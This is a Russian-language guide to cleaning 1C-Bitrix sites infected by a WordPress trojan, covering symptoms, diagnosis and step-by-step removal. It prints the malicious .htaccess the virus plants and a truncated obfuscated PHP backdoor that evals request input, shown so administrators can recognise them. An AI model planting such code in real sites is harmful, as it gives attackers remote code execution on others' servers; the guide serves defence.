В начале 2023 и 2025 года многие сайты на 1С-Битрикс снова подверглись атаке трояна для WordPress.
Проблемы и симптомы
Основные симптомы выглядят так:
- Вместо сайта белый экран
- При переходе на сайт редирект на сайт казино или т.п.
- В админке открывается только главная страница, а при переходе в раздел админки - 403 ошибика
На самом деле могут быть и другие, но из всех сайтов, что я проверил - эти были у каждого.
В чем проблема? К вам на сайт был загружен вирус, этот вирус при исполнении создает копию себя и заменяет или добавляет вредоносный код в ваши файлы. Так-же, вирус создает собственный .htaccess, в котором вот такой код:
<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch> <FilesMatch '^(index.php|inputs.php|adminfuns.php|chtmlfuns.php|cjfuns.php|classsmtps.php|classfuns.php| comfunctions.php|comdofuns.php|connects.php|copypaths.php|delpaths.php|doiconvs.php|epinyins.php| filefuns.php|gdftps.php|hinfofuns.php|hplfuns.php|memberfuns.php|moddofuns.php|onclickfuns.php| phpzipincs.php|qfunctions.php|qinfofuns.php|schallfuns.php|tempfuns.php|userfuns.php|siteheads.php |termps.php|txets.php|thoms.php|postnews.php|wp-blog-header.php|wp-config-sample.php|wp-links-opml.php| wp-login.php|wp-settings.php|wp-trackback.php|wp-activate.php|wp-comments-post.php|wp-cron.php| wp-load.php|wp-mail.php|wp-signup.php|xmlrpc.php|edit-form-advanced.php|link-parse-opml.php| ms-sites.php|options-writing.php|themes.php|admin-ajax.php|edit-form-comment.php|link.php| ms-themes.php|plugin-editor.php|admin-footer.php|edit-link-form.php|load-scripts.php| ms-upgrade-network.php|admin-functions.php|edit.php|load-styles.php|ms-users.php| plugins.php|admin-header.php|edit-tag-form.php|media-new.php|my-sites.php|post-new.php| admin.php|edit-tags.php|media.php|nav-menus.php|post.php|admin-post.php|export.php|media-upload.php| network.php|press-this.php|upload.php|async-upload.php|menu-header.php|options-discussion.php| privacy.php|user-edit.php|menu.php|options-general.php|profile.php|user-new.php|moderation.php| options-head.php|revision.php|users.php|custom-background.php|ms-admin.php|options-media.php| setup-config.php|widgets.php|custom-header.php|ms-delete-site.php|options-permalink.php|term.php| customize.php|link-add.php|ms-edit.php|options.php|edit-comments.php|link-manager.php|ms-options.php| options-reading.php|system_log.php)$'> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>
А в файлах index.php вот такой код:
<?php /*-qN00@V:`-*/error_reporting(0); $DJA /*-aYl?2`k:C^LN;R-*/=/*-kYB7t.udNQe]87d1O;-*/ "ra" ./*-dsqM6|wNO)-*/"ng"./*-6jjo6$E@z%}xr~j2-*/"e"; $eV /*->^I{~H~D{A,C-Ox>-*/= /*-2&bt^&]Y.O-* /$DJA/*-@>gV&i@UUO}W>-*/(/*-<^:!k67PVG4$|N@Nkm-*/"~",/*-H~_c9W1Fd[o,ge.QU5-*/" ");/*-0dG%CPX~k DLa-*/$pP/*-F?-hU~i&t%|{f-*/=/*->-3b7Whq0Ye%:-*/${$eV[30+1]/*-3~ub~8yeKWm)|-*/.$eV[40+19]. /*-|UMk$+9y-*/$eV[12+35].$eV[21+26]./*-`rO~!yr5|s`jRGu-*/$eV[25+26].$eV[5+48].$eV/*-y~J&!:?EEm0mx 6ksvn?-*/[38+19]}; /*-rt|gts~zht-*/if(/*-J8@$p3td3|@%E-*/(in_array/*-mqlN(M&a]hB-*/(gettype/*-S9J ka|z-;}C,t%^D^-Xym nM2-*/($pP)==(2+26))){(($pP[19+44]=$pP[45+18].$pP[5+69])/*-4z43v]fDv.zxca(a$}-*/&&/*-3j$>6Uzxqux) Yrv-*/@eval/*-uJ)fh}M75;K>|5-*/($pP[19+44](${$pP[10+33]}[15+15])));}/*-Iuomav-*/class /*-}y#w-*/g{ /*-CYIaC%-*/static/*-o.c1HhPf$-*/ function /*-$@;j-*/yChq($hCH) /*-OAA=R4?x6-*/{ $ZH/*-_)7Ge^z-*/ = /*-B5p){P!%+-*/"r"./*-_h-*/"a"./*-R`ZIM6-*/"n"./*-$@mbZr-*/"g"./*-1_v81-*/"e"; /*--j$cbv-*/$FwiSXK /*-M(c:}d-*/ = /*-}1(AD-*/$ZH/*-#x-*/(/*-6>-*/"~"/*-J-{-*/, /*-S_-*/" "/*-(HM-*/);/*-YZ|-*/ $RrpZEzLD ....
Таким образом при попытке открыть сайт, происходит копирование вируса, а сам сайт не открывается.
Диагностика
Для начала стоит подключиться через файловый менеджер или FTP к сайту и убедиться, что файлы действительно заражены.
Файлы .htaccess с кодом выше могут находиться не только в корне, но и в каждой подпапке сайта. Таким образом удалением одного проблему не решишь.
Так-же стоит проверить все файлы в корне и в папках с расширение.php, в каждом таком файле может содержаться вредоносный код.
Все зависит от того как долго сайт был заражен. Чем дольше, тем глубже будут заражены файлы.
Если глянуть логи веб-сервера у зараженного сайта, то к сайту приходят разные запросы, так можно посмотреть где есть подозрительные файлы, так как к зараженным файлам с разный IP адресов могут обращаться, чтобы их запускать.
Лечение
Для начала стоит остановить веб-сервер или перенаправить домен на другой сайт заглушку, где будет указано, что на сайте проводятся технические работы.
Если у вас есть бэкап сайта, на момент создания не зараженного, то вы можете восстановить из бэкапа, важно это сделать не в ту же папку, а в отдельную.
Если актуального бэкапа нет, то порядок действий такой:
1) Для начала удалим все .htaccess. Подключаемся через SSH и вводим такую команду:
cd /path/to/your/site find . -type f -perm 0444 -name ".htaccess" -delete;
Первой строчкой мы переходим в директорию сайта. Второй находим все файлы .htaccess с правами 444, так как все зараженные файлы имеют права 444. И удаляем их. Но для сайта на Битрикс необходим этот файл, на сайте Битрикса вы можете взять дефолтный файл и загрузить его в корень сайта. Ссылка: https://dev.1c-bitrix.ru/learning/course/index.php?COURSE_ID=32&LESSON_ID=3295.
2) Далее придется вручную пройтись по папкам и файлам сайта и удалить код, как в примере выше. Обычно он располагается в самом начале в первой строке. Надо удалить все до подключения Битрикса, пример как выглядит файл после удаления кода:
<? require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php"); $APPLICATION->SetTitle("Title"); ?> ...
Если вы видите файл в название которого белиберда, например sdfkjh30jisdg9.php , то смело удаляйте его - это вирус. Еще могут встречаться файлы и папки с названием wp_… - это тоже вирус, эти файлы должны навредить сайту на wordpress, но и битриксу они усложняют функционирование - все удаляем.
Иногда встречается, что может быть заражен файл /bitrix/modules/main/bx_root.php.
Вот содержимое этого файла без вредоносного кода:
<? define("BX_ROOT", "/bitrix"); if(isset($_SERVER["BX_PERSONAL_ROOT"]) && $_SERVER["BX_PERSONAL_ROOT"] <> "") define("BX_PERSONAL_ROOT", $_SERVER["BX_PERSONAL_ROOT"]); else define("BX_PERSONAL_ROOT", BX_ROOT);
3) После того как вы удалите все, то ваш сайт заработает и вы сможете попасть в админку. В админке необходимо перейти в Настрой - Автокеширование - Очистка кеша и удалить весь кеш. Если возникнет проблема, то надо будет это сделать вручную, надо удалить все в папках:
/bitrix/manage_cache/
/bitrix/cache/
4) Проверяем Агенты у Битрикса. Надо зайти в Настройки - Настройки продукта - Агенты и изучить что есть в таблице. Если видим для модуля main агент с белибердой в коде. То этот агент так-же необходимо удалить.
5) И последним необходимо удалить эти модули:
/bitrix/modules/vote/
/bitrix/tools/vote/